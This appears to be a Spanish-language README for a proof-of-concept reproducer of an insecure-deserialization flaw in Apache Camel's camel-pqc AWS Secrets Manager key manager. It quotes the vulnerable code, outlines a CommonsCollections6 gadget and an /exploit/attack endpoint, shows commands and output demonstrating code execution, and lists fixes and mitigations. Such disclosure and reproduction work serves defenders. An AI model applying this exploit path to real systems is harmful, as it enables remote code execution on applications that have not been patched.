
Reproductor para CVE-2026-43867 — Apache Camel camel-pqc AwsSecretsManagerKeyLifecycleManager deserialización insegura de metadatos de claves (RCE)
Este proyecto demuestra una vulnerabilidad de deserialización en Java en el componente camel-pqc de Apache Camel, registrada como CVE-2026-43867. AwsSecretsManagerKeyLifecycleManager.deserializeMetadata() vuelve a leer los metadatos de claves post-cuánticas persistidos de un secreto de AWS Secrets Manager decodificando en Base64 el valor almacenado y deserializándolo con un java.io.ObjectInputStream.readObject() sin procesar y sin ObjectInputFilter — el casteo a KeyMetadata ocurre solo después de que readObject() retorna, por lo que cualquier efecto secundario de readObject() se ejecuta primero. Un principal que pueda escribir en ese secreto (secretsmanager:PutSecretValue) puede almacenar un objeto serializado manipulado que se deserializa durante operaciones normales del ciclo de vida de las claves, lo que potencialmente conduce a ejecución de código.
Aviso: https://camel.apache.org/security/CVE-2026-43867.html
Mismo defecto que CVE-2026-46590 (notificado de forma independiente; ese aviso también cubre los administradores hermanos basados en HashiCorp Vault y en archivos), y una corrección incompleta posterior a CVE-2026-40048 (CAMEL-23200), que cambió
FileBasedKeyLifecycleManagera un formato JSON/PKCS#8/X.509 pero no agregó unObjectInputFilterni cubrió los administradores de AWS/Vault.
// AwsSecretsManagerKeyLifecycleManager - affected 4.18.2
private KeyMetadata deserializeMetadata(String base64) throws Exception {
byte[] data = Base64.getDecoder().decode(base64);
ByteArrayInputStream bais = new ByteArrayInputStream(data);
try (ObjectInputStream ois = new ObjectInputStream(bais)) { // NO ObjectInputFilter
return (KeyMetadata) ois.readObject(); // gadget fires here, before the cast
}
}
getKeyMetadata(keyId) lee el secreto llamado <keyPrefix>/<keyId>/metadata, analiza su envoltura JSON ({"metadata":"<base64>","keyId":...,"algorithm":...}) y pasa el campo metadata a deserializeMetadata. La corrección (4.18.3 / 4.21.0) introduce un KeyMetadataCodec compartido que almacena los metadatos como JSON para todos los administradores y restringe las lecturas heredadas restantes de ObjectInputStream con un ObjectInputFilter de lista de permitidos.
La víctima es la aplicación que gestiona claves PQC con el administrador de AWS. El atacante es cualquier principal que pueda escribir el secreto de metadatos (secretsmanager:PutSecretValue). Este PoC utiliza LocalStack para emular AWS Secrets Manager; el endpoint /exploit/attack escribe un secreto de metadatos manipulado y luego recorre la ruta de lectura del administrador.
CVE-2026-43867/
├── pom.xml # camel-pqc 4.18.2 + aws-sdk secretsmanager 2.41.28 + commons-collections 3.2.1
├── Dockerfile # runs the app (--add-opens for gadget build)
├── docker-compose.yml # LocalStack (Secrets Manager) + the reproducer app
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # writes the crafted secret, then calls getKeyMetadata()
└── resources/
└── application.properties
En un ataque real, los bytes serializados se producen sin conexión por parte del atacante (por ejemplo, con ysoserial). Este PoC construye el gadget dentro del proceso, por eso la JVM se ejecuta con
--add-opens java.base/java.util=ALL-UNNAMED— un detalle de construcción del gadget, no relacionado con la vulnerabilidad.
mvn clean package -DskipTests
docker compose up -d --build
Esto inicia LocalStack (que emula AWS Secrets Manager) y la aplicación de reproducción, que apunta su AwsSecretsManagerKeyLifecycleManager hacia LocalStack mediante la anulación del endpoint.
curl -s http://localhost:8080/exploit/attack
# -> Wrote crafted serialized metadata to AWS Secrets Manager secret 'pqc/keys/victim-key/metadata'.
# getKeyMetadata() threw java.lang.ClassCastException (expected — the gadget runs during readObject ...)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-43867 ls -la /tmp/pwned
docker compose down
Cualquier aplicación que use AwsSecretsManagerKeyLifecycleManager cuyo secreto de metadatos de claves pueda ser escrito por una parte distinta de la identidad confiable de la propia aplicación. La deserialización se ejecuta durante operaciones ordinarias del ciclo de vida de las claves (getKeyMetadata, loadExistingKeys, listKeys, comprobaciones de rotación, …).
AwsSecretsManagerKeyLifecycleManager de camel-pqc en una versión afectada.secretsmanager:PutSecretValue sobre él).commons-collections:3.2.1).Actualice a 4.18.3 / 4.21.0 (CAMEL-23726). Los metadatos se almacenan como JSON y cualquier lectura heredada restante de ObjectInputStream está restringida por un ObjectInputFilter de lista de permitidos.
Hasta que se actualice:
secretsmanager:PutSecretValue sobre el secreto de metadatos de camel-pqc a la identidad de la propia aplicación (IAM de privilegio mínimo).Esta herramienta de reproducción se proporciona solo para investigación de seguridad y pruebas autorizadas, para una vulnerabilidad divulgada públicamente y corregida. No la use contra sistemas sin permiso explícito.
| Propiedad | Valor |
|---|
| Componente | camel-pqc (AwsSecretsManagerKeyLifecycleManager) |
| Clase afectada | org.apache.camel.component.pqc.lifecycle.AwsSecretsManagerKeyLifecycleManager#deserializeMetadata |
| CWE | CWE-502: Deserialización de datos no confiables |
| Impacto | Ejecución de código en la aplicación que gestiona las claves (requiere acceso de escritura al secreto de metadatos) |
| Versiones afectadas | Desde 4.18.0 antes de 4.18.3, desde 4.19.0 antes de 4.21.0 |
| Versiones corregidas | 4.18.3, 4.21.0 (camel-pqc no está en la línea LTS 4.14.x) |
| JIRA | CAMEL-23726 |
| Notificador | Venkatraman Kumar (Securin) |